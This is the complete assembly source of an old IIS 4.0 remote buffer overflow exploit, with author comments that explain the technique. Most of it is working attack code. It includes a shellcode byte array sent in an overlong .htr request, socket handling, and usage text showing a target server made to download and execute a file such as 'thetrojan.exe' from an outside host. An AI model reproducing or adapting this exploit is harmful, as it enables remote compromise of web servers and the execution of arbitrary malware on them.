|
; IIS 4.0 remote overflow exploit. ; (c) dark spyrit -- barns@eeye.com ; ; greets & thanks to: neophyte/sacx/tree/everyone in #mulysa and ; #beavuh... and all the other kiwi's except ceo. ; ; credits to acp for the console stuff.. ; ; I don't want to go in too deeply on the process of exploiting buffer ; overflows... there's various papers out there on this subject, instead I'll ; give just a few specifics relating to this one.. ; ; Microsoft was rather good to us on this occasion, stuffing our eip value ; directly into a register then calling it.. no need to stuff valid addresses ; to make our way through various routines to eventually return to our ; address... but, unfortunately it wasn't all smooth sailing. ; Various bytes and byte sequences I was forced to avoid, as you'll quickly ; notice should you bother debugging this.. various push/pop pairs etc. ; I don't bother with any cleanup when all is done, NT's exception handling ; can cope with the mess :) ; ; The exploit works by redirecting the eip to the address of a loaded dll, ; in this case ISM.DLL. Why? ; Because its loaded in memory, is loaded at a high address which gets around ; the null byte problem.. and is static on all service packs. ; The code from ISM.DLL jumps to my code, which creates a jump table of ; of functions we'll need, including the socket functions.. we do this ; because unfortunately the dll's import tables don't include nearly enough ; of the functions we need.. ; ; The socket structure is created and filled at runtime, I had to do this ; at runtime because of the bad byte problem.. after this a small buffer is ; created, a get request issued to the web site of the file you want to ; download.. file is then received/saved to disk/and executed.. ; Simple huh? no not really :) ; ; Have fun with this one... feel free to drop me an email with any comments. ; ; And finally, heh.. "caveat emptor". ; ; ; you can grab the assembled exe at http://www.eEye.com. ; ; to assemble: ; ; tasm32 -ml iishack.asm ; tlink32 -Tpe -c -x iishack.obj ,,, import32 .386p locals jumps .model flat, stdcall extrn GetCommandLineA:PROC extrn GetStdHandle:PROC extrn WriteConsoleA:PROC extrn ExitProcess:PROC extrn WSAStartup:PROC extrn connect:PROC extrn send:PROC extrn recv:PROC extrn WSACleanup:PROC extrn gethostbyname:PROC extrn htons:PROC extrn socket:PROC extrn inet_addr:PROC extrn closesocket:PROC .data sploit_length equ 1157 sploit: db "GET /" db 041h, 041h, 041h, 041h, 041h, 041h, 041h db 576 dup (041h) db 041h, 041h, 041h, 041h, 041h, 041h, 0b0h, 087h, 067h, 068h, 0b0h, 087h db 067h, 068h, 090h, 090h, 090h, 090h, 058h, 058h, 090h, 033h, 0c0h, 050h db 05bh, 053h, 059h, 08bh, 0deh, 066h, 0b8h, 021h, 002h, 003h, 0d8h, 032h db 0c0h, 0d7h, 02ch, 021h, 088h, 003h, 04bh, 03ch, 0deh, 075h, 0f4h, 043h db 043h, 0bah, 0d0h, 010h, 067h, 068h, 052h, 051h, 053h, 0ffh, 012h, 08bh db 0f0h, 08bh, 0f9h, 0fch, 059h, 0b1h, 006h, 090h, 05ah, 043h, 032h, 0c0h db 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h, 052h, 051h db 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h, 05ah, 0e2h, 0e6h, 043h db 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h db 052h, 053h, 0ffh, 012h, 08bh, 0f0h, 05ah, 033h, 0c9h, 050h, 058h, 0b1h db 005h, 043h, 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h db 0f4h, 043h, 052h, 051h, 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h db 05ah, 0e2h, 0e6h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h db 0f4h, 089h, 047h, 0cch, 033h, 0c0h, 050h, 050h, 0b0h, 002h, 066h, 0abh db 058h, 0b4h, 050h, 066h, 0abh, 058h, 0abh, 0abh, 0abh, 0b1h, 021h, 090h db 066h, 083h, 0c3h, 016h, 08bh, 0f3h, 043h, 032h, 0c0h, 0d7h, 03ah, 0c8h db 075h, 0f8h, 032h, 0c0h, 088h, 003h, 056h, 0ffh, 057h, 0ech, 090h, 066h db 083h, 0efh, 010h, 092h, 08bh, 052h, 00ch, 08bh, 012h, 08bh, 012h, 092h db 08bh, 0d7h, 089h, 042h, 004h, 052h, 06ah, 010h, 052h, 0ffh, 077h, 0cch db 0ffh, 057h, 0f8h, 05ah, 066h, 083h, 0eeh, 008h, 056h, 043h, 08bh, 0f3h db 0fch, 0ach, 084h, 0c0h, 075h, 0fbh, 041h, 04eh, 0c7h, 006h, 08dh, 08ah db 08dh, 08ah, 081h, 036h, 080h, 080h, 080h, 080h, 033h, 0c0h, 050h, 050h db 06ah, 048h, 053h, 0ffh, 077h, 0cch, 0ffh, 057h, 0f0h, 058h, 05bh, 08bh db 0d0h, 066h, 0b8h, 0ffh, 00fh, 050h, 052h, 050h, 052h, 0ffh, 057h, 0e8h db 08bh, 0f0h, 058h, 090h, 090h, 090h, 090h, 050h, 053h, 0ffh, 057h, 0d4h db 08bh, 0e8h, 033h, 0c0h, 05ah, 052h, 050h, 052h, 056h, 0ffh, 077h, 0cch db 0ffh, 057h, 0ech, 080h, 0fch, 0ffh, 074h, 00fh, 050h, 056h, 055h, 0ffh db 057h, 0d8h, 080h, 0fch, 0ffh, 074h, 004h, 085h, 0c0h, 075h, 0dfh, 055h db 0ffh, 057h, 0dch, 033h, 0c0h, 040h, 050h, 053h, 0ffh, 057h, 0e4h, 090h db 090h, 090h, 090h, 0ffh, 06ch, 066h, 073h, 06fh, 066h, 06dh, 054h, 053h db 021h, 080h, 08dh, 084h, 093h, 086h, 082h, 095h, 021h, 080h, 08dh, 098h db 093h, 08ah, 095h, 086h, 021h, 080h, 08dh, 084h, 08dh, 090h, 094h, 086h db 021h, 080h, 08dh, 090h, 091h, 086h, 08fh, 021h, 078h, 08ah, 08fh, 066h db 099h, 086h, 084h, 021h, 068h, 08dh, 090h, 083h, 082h, 08dh, 062h, 08dh db 08dh, 090h, 084h, 021h, 078h, 074h, 070h, 064h, 06ch, 054h, 053h, 021h db 093h, 086h, 084h, 097h, 021h, 094h, 086h, 08fh, 085h, 021h, 094h, 090h db 084h, 08ch, 086h, 095h, 021h, 084h, 090h, 08fh, 08fh, 086h, 084h, 095h db 021h, 088h, 086h, 095h, 089h, 090h, 094h, 095h, 083h, 09ah, 08fh, 082h db 08eh, 086h, 021h, 090h, 098h, 08fh, 04fh, 086h, 099h, 086h, 021h _url2 db 85 dup (021h) db ".htr HTTP/1.0" db 00dh,00ah, 00dh, 00ah logo db "------(IIS 4.0 remote buffer overflow exploit)---------------------------------", 13, 10 db "(c) dark spyrit -- barns@eeye.com.",13,10 db "http://www.eEye.com",13,10,13,10 db "[usage: iishack <host> <port> <url>]", 13, 10 db "eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe",13,10 db "do not include 'http://' before hosts!",13,10 db "-------------------------------------------------------------------------------", 13, 10, 0 logolen equ $-logo u_length db 10,"No more than 70 chars in 2nd url.",13,10,0 u_lengthl equ $-u_length errorinit db 10,"Error initializing winsock.", 13, 10, 0 errorinitl equ $-errorinit nohost db 10,"No host or IP specified.", 13,10,0 nohostl equ $-nohost noport db 10,"No port specified.",13,10,0 noportl equ $-noport no_url db 10,"No URL specified.",13,10,0 no_urll equ $-no_url urlinv db 10,"Invalid URL.. no file specified?",13,10,0 urlinvl equ $-urlinv reshost db 10,"Error resolving host.",13,10,0 reshostl equ $-reshost sockerr db 10,"Error creating socket.",13,10,0 sockerrl equ $-sockerr ipill db 10,"IP error.",13,10,0 ipilll equ $-ipill porterr db 10,"Invalid port.",13,10,0 porterrl equ $-porterr cnerror db 10,"Error establishing connection.",13,10,0 cnerrorl equ $-cnerror success db 10,"Data sent!",13,10,0 successl equ $-success console_in dd ? console_out dd ? bytes_read dd ? wsadescription_len equ 256 wsasys_status_len equ 128 WSAdata struct wVersion dw ? wHighVersion dw ? szDescription db wsadescription_len+1 dup (?) szSystemStatus db wsasys_status_len+1 dup (?) iMaxSockets dw ? iMaxUdpDg dw ? lpVendorInfo dw ? WSAdata ends sockaddr_in struct sin_family dw ? sin_port dw ? sin_addr dd ? sin_zero db 8 dup (0) sockaddr_in ends wsadata WSAdata <?> sin sockaddr_in <?> sock dd ? numbase dd 10 _port db 256 dup (?) _host db 256 dup (?) _url db 256 dup (?) stuff db 042h, 068h, 066h, 075h, 041h, 050h .code start: call init_console push logolen push offset logo call write_console call GetCommandLineA mov edi, eax mov ecx, -1 xor al, al push edi repnz scasb not ecx pop edi mov al, 20h repnz scasb dec ecx cmp ch, 0ffh jz @@0 test ecx, ecx jnz @@1 @@0: push nohostl push offset nohost call write_console jmp quit3 @@1: mov esi, edi lea edi, _host call parse or ecx, ecx jnz @@2 push noportl push offset noport call write_console jmp quit3 @@2: lea edi, _port call parse or ecx, ecx jnz @@3 push no_urll push offset no_url call write_console jmp quit3 @@3: push ecx lea edi, _url call parse pop ecx cmp ecx, 71 jb length_ok push u_lengthl push offset u_length call write_console jmp quit3 length_ok: mov esi, offset _url mov edi, offset _url2 @@10: xor al, al lodsb cmp al, 02fh jz whaq test al, al jz @@20 add al, 021h stosb jmp @@10 @@20: push urlinvl push offset urlinv call write_console jmp quit3 whaq: push esi lea esi, stuff lodsw stosw lodsd stosd pop esi fileget: xor al, al lodsb test al, al jz getdone add al, 021h stosb jmp fileget getdone: push offset wsadata push 0101h call WSAStartup or eax, eax jz winsock_found push errorinitl push offset errorinit call write_console jmp quit3 winsock_found: xor eax, eax push eax inc eax push eax inc eax push eax call socket cmp eax, -1 jnz socket_ok push sockerrl push offset sockerr call write_console jmp quit2 socket_ok: mov sock, eax mov sin.sin_family, 2 mov esi, offset _port lewp1: xor al, al lodsb test al, al jz go cmp al, 039h ja port_error cmp al, 030h jb port_error jmp lewp1 port_error: push porterrl push offset porterr call write_console jmp quit1 go: mov ebx, offset _port call str2num mov eax, edx push eax call htons mov sin.sin_port, ax mov esi, offset _host lewp: xor al, al lodsb cmp al, 039h ja gethost test al, al jnz lewp push offset _host call inet_addr cmp eax, -1 jnz ip_aight push ipilll push offset ipill call write_console jmp quit1 ip_aight: mov sin.sin_addr, eax jmp continue gethost: push offset _host call gethostbyname test eax, eax jnz gothost push reshostl push offset reshost call write_console jmp quit1 gothost: mov eax, [eax+0ch] mov eax, [eax] mov eax, [eax] mov sin.sin_addr, eax continue: push size sin push offset sin push sock call connect or eax, eax jz connect_ok push cnerrorl push offset cnerror call write_console jmp quit1 connect_ok: xor eax, eax push eax push sploit_length push offset sploit push sock call send push successl push offset success call write_console quit1: push sock call closesocket quit2: call WSACleanup quit3: push 0 call ExitProcess parse proc ;cheap parsing.. hell.. its only an exploit. lewp9: xor eax, eax cld lodsb cmp al, 20h jz done test al, al jz done2 stosb dec ecx jmp lewp9 done: dec ecx done2: ret endp str2num proc push eax ecx edi xor eax, eax xor ecx, ecx xor edx, edx xor edi, edi lewp2: xor al, al xlat test al, al jz end_it sub al, 030h mov cl, al mov eax, edx mul numbase add eax, ecx mov edx, eax inc ebx inc edi cmp edi, 0ah jnz lewp2 end_it: pop edi ecx eax ret endp init_console proc push -10 call GetStdHandle or eax, eax je init_error mov [console_in], eax push -11 call GetStdHandle or eax, eax je init_error mov [console_out], eax ret init_error: push 0 call ExitProcess endp write_console proc text_out:dword, text_len:dword pusha push 0 push offset bytes_read push text_len push text_out push console_out call WriteConsoleA popa ret endp end start